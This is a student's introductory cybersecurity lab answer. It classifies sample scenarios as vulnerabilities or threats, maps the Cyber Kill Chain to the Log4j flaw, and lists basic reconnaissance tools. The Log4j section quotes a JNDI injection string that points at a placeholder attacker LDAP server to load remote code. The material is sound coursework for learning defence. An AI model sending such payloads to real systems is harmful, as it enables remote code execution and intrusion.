MUHAMMAD AIZAT MUIQRIE BIN MOHD NOOR
BCSS 52215225120

LAB WEEK 1

1. **Identify different types of vulnerabilities and threats**

| No | Scenario | Category | Reasoning |
|---|---|---|---|
| **1** | A company server is running Windows Server 2012 without updates. | **Vulnerability** | Outdated/unpatched software is an exploitable weakness. |
| **2** | A hacker uses a botnet to flood a website with traffic (DDoS). | **Threat** | This is an active external attack intended to cause harm. |
| **3** | A developer accidentally uploads API keys to a public GitHub. | **Vulnerability** | This is sensitive information exposure due to human error. |
| **4** | An organization's password policy allows "12345" as a password. | **Vulnerability** | Weak access control due to poor policy enforcement. |
| **5** | Cybercriminals send ransomware via email attachments. | **Threat** | A direct cyberattack designed to demand payment. |

2. **Explain the Cyber Kill Chain using real-world attack mapping**

The **Cyber Kill Chain** (developed by Lockheed Martin) identifies seven steps of an intrusion. Here is how Log4j vulnerability (CVE-2021-44228) maps to these steps:

- 1. Reconnaissance: Attackers scan for servers using vulnerable Log4j versions and identify places where user-controlled data is logged, such as HTTP headers.
- 2. Weaponization: Attackers craft JNDI payloads (e.g., ${jndi:ldap://attacker/a}) and prepare a malicious LDAP server to respond with a Java class.
- 3. Delivery: The payload is sent to the target via HTTP headers or URL parameters that the server is known to log.
- 4. Exploitation: Log4j processes the string, performs a JNDI lookup, and triggers the remote code execution.

- 5. Installation: A malicious Java class executes on the target system, often installing a backdoor.
- 6. Command & Control (C2): The installed agent "phones home" to the attacker's server to receive further instructions.
- 7. Actions on Objectives: Attackers exfiltrate data, move laterally through the network, or escalate privileges.

3. Demonstrate awareness of ethical hacking principles through basic reconnaissance

Ethical hackers (White Hats) use their skills to improve security systems rather than exploit them for gain.

**Basic Reconnaissance Tools:**

- **Google Dorking:** Using advanced search operators like site:, filetype:, or inurl: to find sensitive information indexed by search engines.
- **WPScan:** A "Black Box" scanner used to identify vulnerabilities in WordPress websites, such as outdated plugins or exposed API headers.
- **Searchsploit:** A command-line tool in Kali Linux used to search the **Exploit Database** for public proof-of-concept exploits related to specific CVEs